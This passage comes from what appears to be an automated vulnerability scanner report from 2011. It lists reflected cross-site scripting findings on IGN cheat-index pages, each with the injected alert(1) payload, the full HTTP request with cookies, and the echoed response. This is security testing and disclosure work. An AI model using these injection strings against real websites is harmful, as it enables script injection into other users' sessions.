<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
coreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://cheats.ign.com/index/pc-cheats/index.html?8b25b"-alert(1)-"859129d34f=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.85. http://cheats.ign.com/index/pc-cheats/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/pc-cheats/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6b1c2"><script>alert(1)</script>acb3df6b5fc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/pc-cheats/index.html?6b1c2"><script>alert(1)</script>acb3df6b5fc=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:12:58 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 140604

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://cheats.ign.com/index/pc-cheats/index.html?6b1c2"><script>alert(1)</script>acb3df6b5fc=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.86. http://cheats.ign.com/index/playstation-3-cheats/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/playstation-3-cheats/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9c6ff"><script>alert(1)</script>9b70942b9ae was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/playstation-3-cheats/index.html?9c6ff"><script>alert(1)</script>9b70942b9ae=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:01 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 145661

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://cheats.ign.com/index/playstation-3-cheats/index.html?9c6ff"><script>alert(1)</script>9b70942b9ae=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.87. http://cheats.ign.com/index/playstation-3-cheats/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/playstation-3-cheats/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5fc63"-alert(1)-"d1160877f7c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/playstation-3-cheats/index.html?5fc63"-alert(1)-"d1160877f7c=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:04 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 145534

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
= 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://cheats.ign.com/index/playstation-3-cheats/index.html?5fc63"-alert(1)-"d1160877f7c=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.88. http://cheats.ign.com/index/playstation-portable-cheats/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/playstation-portable-cheats/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7b2f8"><script>alert(1)</script>a0f6b4d3eae was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/playstation-portable-cheats/index.html?7b2f8"><script>alert(1)</script>a0f6b4d3eae=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:05 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 133883

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://cheats.ign.com/index/playstation-portable-cheats/index.html?7b2f8"><script>alert(1)</script>a0f6b4d3eae=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.89. http://cheats.ign.com/index/playstation-portable-cheats/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/playstation-portable-cheats/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7eda0"-alert(1)-"f4bf6d7729 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/playstation-portable-cheats/index.html?7eda0"-alert(1)-"f4bf6d7729=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:08 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 133819

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
fined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://cheats.ign.com/index/playstation-portable-cheats/index.html?7eda0"-alert(1)-"f4bf6d7729=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.90. http://cheats.ign.com/index/wii-cheats/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/wii-cheats/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 57ac0"-alert(1)-"3c9c5074ccb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/wii-cheats/index.html?57ac0"-alert(1)-"3c9c5074ccb=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:12:58 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 143107

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
oreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://cheats.ign.com/index/wii-cheats/index.html?57ac0"-alert(1)-"3c9c5074ccb=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.91. http://cheats.ign.com/index/wii-cheats/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/wii-cheats/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a851c"><script>alert(1)</script>1a568c9cf90 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/wii-cheats/index.html?a851c"><script>alert(1)</script>1a568c9cf90=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:12:55 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 143168

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://cheats.ign.com/index/wii-cheats/index.html?a851c"><script>alert(1)</script>1a568c9cf90=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.92. http://cheats.ign.com/index/xbox-360-cheats/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/xbox-360-cheats/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 342f5"><script>alert(1)</script>f6da6f90a8e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/xbox-360-cheats/index.html?342f5"><script>alert(1)</script>f6da6f90a8e=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:12:56 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 151239

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
